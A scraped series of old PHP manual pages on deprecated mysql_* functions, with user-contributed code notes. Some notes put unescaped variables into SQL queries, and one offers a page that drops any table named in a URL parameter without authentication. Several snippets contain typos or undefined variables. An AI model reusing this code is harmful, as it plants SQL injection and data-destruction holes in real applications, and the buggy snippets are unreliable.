resource mysql_list_tables ( string $database [, resource $link_identifier = NULL ] )

Retrieves a list of table names from a MySQL database.

This function is deprecated. It is preferable to use mysql_query() to issue an SQL SHOW TABLES [FROM db_name] [LIKE 'pattern'] statement instead.

Parameters

database

The name of the database

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

A result pointer resource on success or FALSE on failure.

Use the mysql_tablename() function to traverse this result pointer, or any function for result tables, such as mysql_fetch_array().

Changelog

Version | Description
4.3.7 | This function became deprecated.

Examples

Example #1 mysql_list_tables() alternative example

<?php
$dbname = 'mysql_dbname';

if (!mysql_connect('mysql_host', 'mysql_user', 'mysql_password')) {
    echo 'Could not connect to mysql';
    exit;
}

$sql = "SHOW TABLES FROM $dbname";
$result = mysql_query($sql);

if (!$result) {
    echo "DB Error, could not list tables\n";
    echo 'MySQL Error: ' . mysql_error();
    exit;
}

while ($row = mysql_fetch_row($result)) {
    echo "Table: {$row[0]}\n";
}

mysql_free_result($result);
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_listtables()

See Also

  • mysql_list_dbs() - List databases available on a MySQL server
  • mysql_tablename() - Get table name of field

User Contributed Notes

bimal at sanjaal dot com 28-Feb-2013 06:22
A better alternative to mysql_list_tables() would be the following mysql_tables() function.

<?php
/**
* Better alternative to mysql_list_tables (deprecated)
*/
function mysql_tables($database='')
{
    $tables = array();
    $list_tables_sql = "SHOW TABLES FROM {$database};";
    $result = mysql_query($list_tables_sql);
    if($result)
    while($table = mysql_fetch_row($result))
    {
        $tables[] = $table[0];
    }
    return $tables;
}

# Usage example
$tables = mysql_tables($database_local);
?>
kroczu at interia dot pl 08-Dec-2006 12:01
<?
// here is a much more elegant method to check if a table exists ( no error generate)

if( mysql_num_rows( mysql_query("SHOW TABLES LIKE '".$table."'")))
{
 //...
}

?>
mrkvomail at centrum dot cz 29-Jan-2006 08:48
You can also do this with function mysql_query(). It's better because mysql_list_tables is old function and you can stop showing errors.

function mysql_table_exists($dbLink, $database, $tableName)
{
   $tables = array();
   $tablesResult = mysql_query("SHOW TABLES FROM $database;", $dbLink);
   while ($row = mysql_fetch_row($tablesResult)) $tables[] = $row[0];
    if (!$result) {
    }
   return(in_array($tableName, $tables));
}
Anonymous 15-Dec-2005 03:38
Getting the database status:
<?
// Get database status by DtTvB
// Connect first
mysql_connect   ('*********', '*********', '********');
mysql_select_db ('*********');

// Get the list of tables
$sql  = 'SHOW TABLES FROM *********';
if (!$result = mysql_query($sql)) { die ('Error getting table list (' . $sql . ' :: ' . mysql_error() . ')'); }

// Make the list of tables an array
$tablerow = array();
while ($row = mysql_fetch_array($result)) { $tablerow[] = $row; }

// Define variables...
$total_tables       = count($tablerow);
$statrow            = array();
$total_rows         = 0;
$total_rows_average = 0;
$sizeo              = 0;

// Get the status of each table
for ($i = 0; $i < count($tablerow); $i++) {
    // Query the status...
    $sql = "SHOW TABLE STATUS LIKE '{$tablerow[$i][0]}';";
    if (!$result = mysql_query($sql)) { die ('Error getting table status (' . $sql . ' :: ' . mysql_error() . ')'); }
    // Get the status array of this table
    $table_info = mysql_fetch_array($result);
    // Add them to the total results
    $total_rows         += $table_info[3];
    $total_rows_average += $table_info[4];
    $sizeo              += $table_info[5];
}

// Function to calculate size of the file
function c2s($bs) {
         if ($bs < 964)     { return round($bs)           . " Bytes"; }
    else if ($bs < 1000000) { return round($bs/1024,2)    . " KB"   ; }
    else                    { return round($bs/1048576,2) . " MB"   ; }
}

// Echo the result!!!!!!!!!
echo "{$total_rows} rows in {$total_tables} tables";
echo "<br>Average size in each row: " . c2s($total_rows_average/$total_tables);
echo "<br>Average size in each table: " . c2s($sizeo/$total_tables);
echo "<br>Database size: " . c2s($sizeo);

// Close the connection
mysql_close();
?>
daveheslop (dave heslop) 08-May-2005 01:45
Worth noting for beginners: using a row count to test for the existence of a table only works if the table actually contains data, otherwise the test will return false even if the table exists.
wbphfox at xs4all dot nl 09-Sep-2003 06:55
Here is a way to show al the tables and have the function to drop them...

<?php

echo "<p align=\"left\">";
//this is the connection file for the database....
$connectfile = "connect.php";
require $connectfile;

$dbname = 'DATABASE NAME';

$result = mysql_list_tables($dbname);

echo "<table width=\"75%\" border=\"0\">";
echo  "<tr bgcolor=\"#993333\"> ";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Table name:</font></td>";
echo    "<td><font face=\"Verdana, Arial, Helvetica, sans-serif\" size=\"-1\" color=\"#FFFFFF\">Delete?</font></td>";
echo  "</tr>";

    if (!$result) {
        print "DB Error, could not list tables\n";
        print 'MySQL Error: ' . mysql_error();
        exit;
    }

    while ($row = mysql_fetch_row($result)) {
        echo "<tr bgcolor=\"#CCCCCC\">";
echo    "<td>";
           print "$row[0]\n";
echo    "</td>";

echo    "<td>";
echo    "<a href=\"$PHP_SELF?action=delete&table=";
         print "$row[0]\n";
echo    "\">Yes?</a>";

echo    "</td>";

echo "</tr>";

    }

    mysql_free_result($result);

//Delete
if($action=="delete")
{
$deleteIt=mysql_query("DROP TABLE $table");
if($deleteIt)
{
echo "The table \"";
echo "$table\" has been deleted with succes!<br>";
}
else
{
echo "An error has occured...please try again<br>";
}
}

?>
thebitman at attbi dot com 07-May-2003 10:49
okay everybody, the fastest, most accurate, safest method:

function mysql_table_exists($table, $link)
{
     $exists = mysql_query("SELECT 1 FROM `$table` LIMIT 0", $link);
      if ($exists) return true;
     return false;
}

Note the "LIMIT 0", I mean come on, people, can't get much faster than that! :)
As far as a query goes, this does absolutely nothing. But it has the ability to fail if the table doesnt exist, and that's all you need!
daevid at daevid dot com 17-Dec-2002 01:36
I was in need of a way to create a database, complete with tables from a .sql file. Well, since PHP/mySQL doesn't allow that it seems, the next best idea was to create an empty template database and 'clone & rename it'. Guess what? There is no mysql_clone_db() function or any SQL 'CREATE DATABASE USING TEMPLATEDB' command. grrr...

So, this is the hack solution I came up with:

$V2DB = "V2_SL".$CompanyID;

$result = mysql_create_db($V2DB, $linkI);
if (!$result) $errorstring .= "Error creating ".$V2DB." database<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";

mysql_select_db ($V2DB, $linkI) or die ("Could not select ".$V2DB." Database");

//You must have already created the "V2_Template" database.
//This will make a clone of it, including data.

$tableResult = mysql_list_tables ("V2_Template");
while ($row = mysql_fetch_row($tableResult))
{
    $tsql = "CREATE TABLE ".$V2DB.".".$row[0]." AS SELECT * FROM V2_Template.".$row[0];
    echo $tsql."<BR>\n";
    $tresult = mysql_query($tsql,$linkI);
    if (!$tresult) $errorstring .= "Error creating ".$V2DB.".".$row[0]." table<BR>\n".mysql_errno($linkI).": ".mysql_error($linkI)."<BR>\n";
}
cdarklock at darklock dot com 06-Dec-2002 05:03
Actually, the initially posted SELECT COUNT(*) approach is flawless. SELECT COUNT(*) will provide one and only one row in response unless you can't select from the table at all. Even a brand new (empty) table responds with one row to tell you there are 0 records.

While other approaches here are certainly functional, the major problem comes up when you want to do something like check a database to ensure that all the tables you need exist, as I needed to do earlier today. I wrote a function called tables_needed() that would take an array of table names -- $check -- and return either an array of tables that did not exist, or FALSE if they were all there. With mysql_list_tables(), I came up with this in the central block of code (after validating parameters, opening a connection, selecting a database, and doing what most people would call far too much error checking):

if($result=mysql_list_tables($dbase,$conn))
{   // $count is the number of tables in the database
    $count=mysql_num_rows($result);
    for($x=0;$x<$count;$x++)
    {
        $tables[$x]=mysql_tablename($result,$x);
    }
    mysql_free_result($result);
    // LOTS more comparisons here
    $exist=array_intersect($tables,$check);
    $notexist=array_diff($exist,$check);
    if(count($notexist)==0)
    {
        $notexist=FALSE;
    }
}

The problem with this approach is that performance degrades with the number of tables in the database. Using the "SELECT COUNT(*)" approach, performance only degrades with the number of tables you *care* about:

// $count is the number of tables you *need*
$count=count($check);
for($x=0;$x<$count;$x++)
{
    if(mysql_query("SELECT COUNT(*) FROM ".$check[$x],$conn)==FALSE)
    {
        $notexist[count($notexist)]=$check[$x];
    }
}
if(count($notexist)==0)
{
    $notexist=FALSE;
}

While the increase in speed here means virtually nothing to the average user who has a database-driven backend on his personal web site to handle a guestbook and forum that might get a couple hundred hits a week, it means EVERYTHING to the professional who has to handle tens of millions of hits a day... where a single extra millisecond on the query turns into more than a full day of processing time. Developing good habits when they don't matter keeps you from having bad habits when they *do* matter.
30-Oct-2002 02:42
<?
/*
   Function that returns whole size of a given MySQL database
   Returns false if no db by that name is found
*/

  function getdbsize($tdb) {
    $db_host='localhost';
    $db_usr='USER';
    $db_pwd='XXXXXXXX';
    $db = mysql_connect($db_host, $db_usr, $db_pwd) or die ("Error connecting to MySQL Server!\n");
    mysql_select_db($tdb, $db);

    $sql_result = "SHOW TABLE STATUS FROM " .$tdb;
    $result = mysql_query($sql_result);
    mysql_close($db);

    if($result) {
        $size = 0;
        while ($data = mysql_fetch_array($result)) {
             $size = $size + $data["Data_length"] + $data["Index_length"];
        }
        return $size;
    }
    else {
        return FALSE;
    }
  }

?>

<?
/*
   Implementation example
*/

  $tmp = getdbsize("DATABASE_NAME");
  if (!$tmp) { echo "ERROR!"; }
  else { echo $tmp; }
?>
mail at thomas-hoerner dot de 04-Oct-2002 06:24
You can also use mysql_fetch_object if you consider a specialty: The name of the object-var is

Tables_in_xxxxx

where xxxxx is the name of the database.

i.e. use

$result = mysql_list_tables($dbname);
$varname="Tables_in_".$dbname;
while ($row = mysql_fetch_object($result)) {
   echo $row->$varname;
};
NewToPHP_Guy at Victoria dot NOSPAM dot com 02-Oct-2002 11:06
The example by PHP-Guy to determine if a table exists is interesting and useful (thanx), except for one tiny detail.  The function 'mysql_list_tables()' returns table names in lower case even when tables are created with mixed case.  To get around this problem, add the 'strtolower()' function in the last line as follows:

return(in_array(strtolower($tableName), $tables));
coffee at hayekheaven dot net 18-Jun-2002 02:48
Even though php guy's solution is probably the fastest here's another one just for the heck of it...
I use this function to check whether a table exists. If not it's created.

mysql_connect("server","usr","pwd")
    or die("Couldn't connect!");
mysql_select_db("mydb");

$tbl_exists = mysql_query("DESCRIBE sometable");
if (!$tbl_exists) {
mysql_query("CREATE TABLE sometable (id int(4) not null primary key,
somevalue varchar(50) not null)");
}


Get number of fields in result

  • « mysql_list_tables
  • mysql_num_rows »
  • PHP Manual
  • MySQL Functions
  • Get number of fields in result

mysql_num_fields

(PHP 4, PHP 5)

mysql_num_fields — Get number of fields in result

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_field_count()
  • PDOStatement::columnCount()

Description

int mysql_num_fields ( resource $result )

Retrieves the number of fields from a query.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

Returns the number of fields in the result set resource on success or FALSE on failure.

Examples

Example #1 A mysql_num_fields() example

<?php
$result = mysql_query("SELECT id,email FROM people WHERE id = '42'");
if (!$result) {
    echo 'Could not run query: ' . mysql_error();
    exit;
}

/* returns 2 because id,email === two fields */
echo mysql_num_fields($result);
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: mysql_numfields()

See Also

  • mysql_select_db() - Select a MySQL database
  • mysql_query() - Send a MySQL query
  • mysql_fetch_field() - Get column information from a result and return as an object
  • mysql_num_rows() - Get number of rows in result

User Contributed Notes

php at jezusisheer dot nl 30-Mar-2007 08:10
Note that, if you want to get the amount of columns of a table and you're using the "SHOW COLUMNS FROM $table" query, you will have to use mysql_num_rows() instead of mysql_num_fields() on the result. This becomes logical when thinking about it, because the SHOW COLUMNS query returns a result with six columns (Field, Type, Null, Key, Default and Extra) and with a single row for every column found. If you'd count the number of fields, you'd always get 6. If you count the number of rows, you'll get the amount of columns found.
tharkey at tharkey dot net 19-Jun-2003 08:26
You can use it without a requete, just to list the fields :

$liste_champs = mysql_list_fields ( $Base, $Table, $connexion);

for ($i=0; $i < mysql_num_fields ($l_champs); $i++) {
                        echo ( mysql_field_name ($l_champs, $i) );
                        echo (' / ');
                        }
apass AT passmoore DOT com 02-Oct-2002 12:52
Adding to the last comment: you can dynamically loop through any number of  columns AND rows like so-

$query="your SQL";
$result=mysql_query($query) or die("Query ($query) sucks!");
$fields=mysql_num_fields($result);

echo "<table>\n<tr>";
for ($i=0; $i < mysql_num_fields($result); $i++) //Table Header
{ print "<th>".mysql_field_name($result, $i)."</th>"; }
echo "</tr>\n";
while ($row = mysql_fetch_row($result)) { //Table body
echo "<tr>";
    for ($f=0; $f < $fields; $f++) {
    echo "<td>$row[$f]</td>"; }
echo "</tr>\n";}
echo "</table><p>";

This has been tested.
matt at iwdt dot net 24-Sep-2001 03:09
here's one way to print out a row of <th> tags from a table
NOTE: i didn't test this

$result = mysql_query("select * from table");

for ($i = 0; $i < mysql_num_fields($result); $i++) {
    print "<th>".mysql_field_name($result, $i)."</th>\n";
}

post a comment if there's an error
bwark at stanford dot edu 24-Dec-2000 11:56
If you just want the number of fields in a table, you can do something like this:

<?php
$db_id = mysql_connet();
$result = mysql_query("DESCRIBE [tableName], $db_id);

$numFields = mysql_num_rows($result);
?>

Because "DESCRIBE" returns one row for each field in the table (at least in MySQL), this will work.


Get number of rows in result

  • « mysql_num_fields
  • mysql_pconnect »
  • PHP Manual
  • MySQL Functions
  • Get number of rows in result

mysql_num_rows

(PHP 4, PHP 5)

mysql_num_rows — Get number of rows in result

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_num_rows()
  • mysqli_stmt_num_rows()
  • PDOStatement::rowCount()

Description

int mysql_num_rows ( resource $result )

Retrieves the number of rows from a result set. This command is only valid for statements like SELECT or SHOW that return an actual result set. To retrieve the number of rows affected by a INSERT, UPDATE, REPLACE or DELETE query, use mysql_affected_rows().

Parameters

result

The result resource that is being evaluated. This result comes from a call to mysql_query().

Return Values

The number of rows in a result set on success or FALSE on failure.

Examples

Example #1 mysql_num_rows() example

<?php

$link = mysql_connect("localhost", "mysql_user", "mysql_password");
mysql_select_db("database", $link);

$result = mysql_query("SELECT * FROM table1", $link);
$num_rows = mysql_num_rows($result);

echo "$num_rows Rows\n";

?>

Notes

Note:

If you use mysql_unbuffered_query(), mysql_num_rows() will not return the correct value until all the rows in the result set have been retrieved.

Note:

For backward compatibility, the following deprecated alias may be used: mysql_numrows()

See Also

  • mysql_affected_rows() - Get number of affected rows in previous MySQL operation
  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_data_seek() - Move internal result pointer
  • mysql_select_db() - Select a MySQL database
  • mysql_query() - Send a MySQL query

User Contributed Notes

mauriciocramos at gmail dot com 21-Mar-2011 09:43
When mysql.trace_mode = On, SELECT FOUND_ROWS() allway returns 0.  It looks like a bug.

In detail:

If you have a table with 5 rows and issue:

SELECT SQL_CALC_FOUND_ROWS * FROM table LIMIT 1;

mysql_num_rows() returns 1 as expected.

If you issue "SELECT FOUND_ROWS()" just in sequence, in the same connection resource, it allways returns 0 rather than expected 5.

Just switch mysql.trace_mode to Off and things will work.
Typer85 at gmail dot com 18-Mar-2010 08:20
Actually I am a little ashamed to be saying this, but I stand corrected about a rather old note I posted on 17-Jul-2007 06:44.

Using SQL_CALC_FOUND_ROWS and FOUND_ROWS( ) will NOT trigger a race condition on MySQL, as that would pretty much defy their entire purpose.

The results for their usage is actually unique per connection session as it is impossible for processes to share anything in PHP. As far as PHP is concerned, each request represents a new connection to MySQL as each request is isolated to its own process.

To simulate this, create the following script:

<?php

$Handle = mysql_connect( "localhost" , "root" , "" );
mysql_select_db( "lls" );

if( isset( $_GET[ 'Sleep' ] ) ) {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );
} else {
    mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );
}

if( isset( $_GET[ 'Sleep' ] ) ) {
    sleep( 10 ); // Simulate another HTTP request coming in.
    $Result = mysql_query( "SELECT FOUND_ROWS( )" );
    print_r( mysql_fetch_array( $Result ) );
}

mysql_close( );

?>

Set the connection and query information for something that matches your environment.

Run the script once with the Sleep query string and once again without it. Its important to run them both at the same time. Use Apache ab or something similar, or even easier, just open two browser tabs. For example:

http://localhost/Script.php?Sleep=10
http://localhost/Script.php

If a race condition existed, the results of the first instance of the script would equal the results of the second instance of the script.

For example, the second instance of the script will execute the following SQL query:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `aid` From `access` Limit 1" );

?>

This happens while the first instance of the script is sleeping. If a race condition existed, when the first instance of the script wakes up, the result of the FOUND_ROWS( ) it executes should be the number of rows in the SQL query the second instance of the script executed.

But when you run them, this is not the case. The first instance of the script returns the number of rows of its OWN query, which is:

<?php

mysql_query( "SELECT SQL_CALC_FOUND_ROWS `bid` From `blocks` Limit 1" );

?>

So it turns out NO race condition exists, and every solution presented to combat this "issue" are pretty much not needed.

Good Luck,
gtaylor at sonic dot net 10-Sep-2008 09:18
In preventing the race condition for the SQL_CALC_FOUND_ROWS and FOUND_ROWS() operations, it can become complicated and somewhat kludgy to include the FOUND_ROWS() result in the actual result set, especially for complex queries and/or result ordering. The query gets more complex, you may have trouble isolating/excluding the FOUND_ROWS() result, and mysql_num_rows() will return the number of actual results + 1, all of which makes your code messier and harder to read. However, the race condition is real and must be dealt with.

A alternative and cleaner method is to explicitly lock the table using a WRITE lock (preventing other processes from reading/writing to the table). The downsides I can see are a performance hit, and your mysql user must have lock permissions.

<?php
    // excuse the use of mysqli instead of mysql

    $mysqli->query("LOCK TABLE t WRITE");
    $results = $mysqli->query("SELECT id FROM t LIMIT 0,10");
    $totalNumResults = array_pop($mysqli->query("SELECT FOUND_ROWS()")->fetch_row());
    $mysqli->query("UNLOCK TABLES");
?>

Now you may iterate through the results just like any other result set.
Tom Fejfar 05-Jun-2008 10:56
Improvement to chrisdberry82 at gmail dot com's code:

<?php
$sql = "
SELECT SQL_CALC_FOUND_ROWS
  '0', z.id
FROM
  zoom AS z
LIMIT
  0,6
UNION
  SELECT
    '1', FOUND_ROWS()
ORDER BY `0` DESC , RAND()";
?>

You can see, that you can even ORDER the final result anyway you like ;)
Then you can fetch the result like this:
<?php
$res = mysql_query($sql);
$count = mysql_fetch_assoc($res);
while($row = mysql_fetch_assoc($res)){
 unset($row["0"]); //get rid of the "sorting col"
 print_r($row); //or whatever ;)
}
echo $count["id"]; // the total number of rows
?>

And you got rid of the lousy IFs ;)
timo 27-May-2008 06:03
<?
$strQuery="SELECT * FROM `tabel`";
$strResult = mysql_query($strQuery);
$Aantalvelden = mysql_num_fields($strResult);
$Aantalrijen=mysql_num_rows($strResult);

echo "<table border='1'><tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strVeldnaam = mysql_field_name($strResult,$ikolom);
echo "<td>$strVeldnaam</td>" ;
}
echo "</tr>";

for($ir=0;$irij<$Aantalrijen;$irij++){
echo "<tr>";
for($ikolom=0;$ikolom<$Aantalvelden;$ikolom++){
$strKolomwaarde = mysql_result($strResult,$irij,$ikolom);
echo "<td>$strKolomwaarde</td>";
}
}
echo "</table>";
?>
chrisdberry82 at gmail dot com 25-May-2008 07:46
The following code can wrap it all up in a single query so you don't have to worry about multiple client requests:

$stmtMain = $mysqli->prepare("SELECT SQL_CALC_FOUND_ROWS jobid,title FROM tbljobs
    LIMIT ?, ? UNION SELECT FOUND_ROWS(),'!!IgnoreCount!!';")

Then iterate through the results with something like:

while ($stmtMain->fetch() && $strResultTitle !="!!IgnoreCount!!") {
//do stuff
}
($strResultSector == '!!IgnoreCount!!')? $intTotal = $intResultCount : 1;
deaggi at deaggi dot net 20-Aug-2007 09:45
In Reply to the last post: This may not always work correctly, as $object->doesExist would contain a result, not a boolean value. A better way (using the same method) would be using a cast:

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = (bool) ($res = mysql_fetch_array($result))
    [...]
  }
}
?>

johannes
webmaster dasourcerer net 20-Aug-2007 02:42
In one of my applications, I had to let an object know wether it exists in the database or not. I found a cheap solution w/o the usage of mysql_num_rows():

<?php
class Object {
  var $doesExist = false;

  [...]
  function load() {
    $result = mysql_query('...');
    $this->doesExist = ($res = mysql_fetch_array($result))
    [...]
  }
}
?>
Typer85 at gmail dot com 17-Jul-2007 08:44
A note on the following usage; that suggest to use several MySQL Functions to get the number of Table Records.

You may be familiar with following:

<?php

$sqlQuery = 'Select SQL_CALC_FOUND_ROWS `MyField` From `MyTable` Limit 1;';

$sqlQuery_1 = 'Select FOUND_ROWS( );';

?>

I omitted the actual connection to MySQL and the execution of the query, but you get the idea.

I did some tests and on a fairly high traffic web site, one that executes several queries quite often and found that using this combination of MySQL Functions can actually result in wrong results.

For example, assume I have two queries to get the number of Table Records in two different Tables. So in essence, we are executing 4 queries ( 2 queries for each Table ).

If two different requests come in through PHP, your going to run into problems. Note than when I mean request, I mean two different clients requesting your PHP page.

---------------
Request 1:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 1

---------------
Request 2:
---------------

Execute: SQL_CALC_FOUND_ROWS On Table 2

---------------
Request 1:
---------------

Execute: Select FOUND_ROWS( )

At this point, you see the race condition that occurred. While Request 1 was being executed, Request 2 came in.

At this point Request 1 will return the number of Table Records in Table 2 and not Table 1 as expected!

Why? Because MySQL does not differ between requests. Each query is in a queue waiting its turn. As soon as its turn comes in it will be executed my MySQL.

The MySQL Function Select FOUND_ROWS( ) will return the result of the last SQL_CALC_FOUND_ROWS!

Keep in mind.
Jonas 08-Dec-2005 10:55
A small tip concerning SQL_CALC_FOUND_ROWS and FOUND_ROWS()

Remember that you can us "AS" when working with mysql_fetch_assoc.

$sql="
    SELECT
        FOUND_ROWS() AS `found_rows`;
";
$result = mysql_query($sql);
$myrow = mysql_fetch_assoc($result);
$row_count = $myrow['found_rows'];

echo $row_count;
simon_nuttall at hotmail dot com 12-Nov-2005 04:36
Object oriented version of wil1488 at gmail dot com's comment for counting table rows:
<?php
$result = $mysqli->query("SELECT COUNT(*) as TOTALFOUND from table");
$row_array=$result->fetch_array(MYSQLI_ASSOC);
print($row_array['TOTALFOUND']);
?>
wil1488 at gmail dot com 01-Jun-2005 04:53
To use SQL COUNT function, without select the source...

see an example:

<?
//MAKE THE CONNECTION WITH DATABASE

$my_table = mysql_query("SELECT COUNT(*) as TOTALFOUND from table", $link); //EXECUTE SQL CODE
Note: will return the total on TOTALFOUND

print (mysql_result($my_table,0,"TOTALFOUND")); //use the field camp to get the total from your SQL query!
?>

Thanks, good luck.
dzver at abv dot bg 20-Feb-2005 02:00
It is faster to run second query "select count(...) from ... ", than adding SQL_CALC_FOUND_ROWS to your first query, and then using select FOUND_ROWS() + mysql_num_rows().
30-Jan-2005 02:18
In response to oran at trifeed dot com:

You are only experiencing this behaviour because you have not given your FOUND_ROWS() result an alias:

$qry = mysql_query ( 'SELECT FOUND_ROWS() AS total' );
$rst = mysql_fetch_array ( $qry, MYSQL_ASSOC );
echo $rst['total'];

Sean :)
oran at trifeed dot com 15-Dec-2004 06:06
For me

SELECT SQL_CALC_FOUND_ROWS together with
SELECT FOUND_ROWS()

Only worked with the following syntax:
$result = @mysql_query($query);
$resultTotal = @mysql_query("SELECT FOUND_ROWS()");
$res=    mysql_fetch_array($resultTotal);
echo $res['FOUND_ROWS()'];

hope it helped

oran
http://www.trifeed.com
pjoe444 at yahoo dot com 19-Nov-2004 12:38
Re my last entry:

This seems the best workaround to get an 'ordinary' loop going, with possibility of altering output according to row number
(eg laying out a schedule)

$rowno=mysql_num_rows($result);

for ($i=0; $i<mysql_num_rows($result); $i++) {
$row = mysql_fetch_assoc($result);

print "<div class=\"showing\">";
print "<b>".$row['timeon']."-".$row['timeoff']."</b> ".$row['event']."<br />;
if ($i!=$rowno-1) {
    print "other-html-within-sched-here</div>";
    }
else print "end-last-entry-html-here</div>";
}  //close loop
pjoe444 at yahoo dot com 18-Nov-2004 11:24
A pity there seems no way of getting the CURRENT  row number that's under iteration in a typical loop,
such as:
while ($row = mysql_fetch_assoc($result)) { }

After all there is an array of row arrays, as signified by
mysql_num_rows($result):

Say this gives "40 rows" : it would be useful to know when the iteration is on row 39.

The nearest seems to be "data seek":but it connects directly to a
row number eg (from mysql_data_seek page)

for ($i = mysql_num_rows($result) - 1; $i >= 0; $i--) {
   if (!mysql_data_seek($result, $i)) {
       echo "Cannot seek to row $i: " . mysql_error() . "\n";
       continue;
   }

= it still wouldn't solve knowing what row number you're on in an ordinary loop.

One reason for this situation is the php fetch (fetch-a-single-row) construction, without any reasonable FOR loop possibility with row numbers.

Suggestion:
$Rows[$i] possibility where
$i would be the row number

$Rows[$row[], $row[], $row[].....]
             0            1            2     etc

-- the excellent retrieval WITHIN a row ( $row[$i] ),
while certainly more important,  is not matched by
similar possibilities for rows themselves.

and Count($result) doesnt work of course, $result being a
mere ticket-identifier...

Peter T
sam at liddicott dot com 04-Nov-2004 02:40
Some user comments on this page, and some resources including the FAQ at :

http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12 suggest using count(*) to count the number of rows

This is not a particularly universal solution, and those who read these comments on this page should also be aware that

select count(*) may not give correct results if you are using "group by" or "having" in your query, as count(*) is an agregate function and resets eachtime a group-by column changes.

select sum(..) ... left join .. group by ... having ...

can be an alternative to sub-selects in mysql 3, and such queries cannot have the select fields replaced by count(*) to give good results, it just doesn't work.

Sam
aaronp123 att yahoo dott comm 22-Feb-2003 02:40
I may indeed be the only one ever to encounter this - however if you have a myisam table with one row, and you search with valid table and column name for a result where you might expect 0 rows, you will not get 0, you will get 1, which is the myisam optimised response when a table has 0 or one rows.  Under "5.2.4 How MySQL Optimises WHERE Clauses" it reads:

*Early detection of invalid constant expressions. MySQL quickly detects that some SELECT statements are impossible and returns no rows.

and

*All constant tables are read first, before any other tables in the query. A constant table is:
1) An empty table or a table with 1 row.
2) A table that is used with a WHERE clause on a UNIQUE index, or a PRIMARY KEY, where all index parts are used with constant expressions and the index parts are defined as NOT NULL.

Hopefully this will keep someone from staying up all night with 1146 errors, unless I am completely mistaken in thinking I have this figured out.
tac at smokescreen dot org 14-Jan-2002 08:58
MySQL 4.0 supports a fabulous new feature that allows you to get the number of rows that would have been returned if the query did not have a LIMIT clause.  To use it, you need to add SQL_CALC_FOUND_ROWS to the query, e.g.

$sql = "Select SQL_CALC_FOUND_ROWS * from table where state='CA' limit 50";
$result = mysql_query($sql);

$sql = "Select FOUND_ROWS()";
$count_result = mysql_query($sql);

You now have the total number of rows in table that match the criteria.  This is great for knowing the total number of records when browsing through a list.
philip at cornado dot c()m 06-May-2001 08:37
Regarding SQL count(), see this faq :
* http://www.faqts.com/knowledge_base/view.phtml/aid/114/fid/12
Note: If you already have a $result, use mysql_num_rows() on it otherwise use SQL count().  Don't SELECT data just for a count.


Open a persistent connection to a MySQL server

  • « mysql_num_rows
  • mysql_ping »
  • PHP Manual
  • MySQL Functions
  • Open a persistent connection to a MySQL server

mysql_pconnect

(PHP 4, PHP 5)

mysql_pconnect — Open a persistent connection to a MySQL server

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_connect() with p: host prefix
  • PDO::__construct() with PDO::ATTR_PERSISTENT as a driver option

Description

resource mysql_pconnect ([ string $server = ini_get("mysql.default_host") [, string $username = ini_get("mysql.default_user") [, string $password = ini_get("mysql.default_password") [, int $client_flags = 0 ]]]] )

Establishes a persistent connection to a MySQL server.

mysql_pconnect() acts very much like mysql_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (mysql_close() will not close links established by mysql_pconnect()).

This type of link is therefore called 'persistent'.

Parameters

server

The MySQL server. It can also include a port number. e.g. "hostname:port" or a path to a local socket e.g. ":/path/to/socket" for the localhost.

If the PHP directive mysql.default_host is undefined (default), then the default value is 'localhost:3306'

username

The username. Default value is the name of the user that owns the server process.

password

The password. Default value is an empty password.

client_flags

The client_flags parameter can be a combination of the following constants: 128 (enable LOAD DATA LOCAL handling), MYSQL_CLIENT_SSL, MYSQL_CLIENT_COMPRESS, MYSQL_CLIENT_IGNORE_SPACE or MYSQL_CLIENT_INTERACTIVE.

Return Values

Returns a MySQL persistent link identifier on success, or FALSE on failure.

Changelog

Version | Description
5.5.0 | This function will generate an E_DEPRECATED error.

Notes

Note:

Note, that these kind of links only work if you are using a module version of PHP. See the Persistent Database Connections section for more information.

Warning

Using persistent connections can require a bit of tuning of your Apache and MySQL configurations to ensure that you do not exceed the number of connections allowed by MySQL.

Note:

You can suppress the error message on failure by prepending a @ to the function name.

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • Persistent Database Connections

User Contributed Notes

shane 04-Jun-2011 09:35
The new mysqlnd library, which replaces the old libmysql, should make disappearing connections a thing of the past. It refreshes the connection (either change_user or ping) before trying to use it. (It also uses less memory, and generally has better performance.) I've only tried it with mysqli, but the native extension also uses it. It's available for PHP >= 5.3, MySQL >= 4.1.
seawyvern at gmail dot com 13-Aug-2010 09:10
(using PHP v5.3.2)
This might help other people who are running into a similar issue. I would occasionally get this error in my apache error log:

PHP Warning:  mysql_pconnect(): MySQL server has gone away

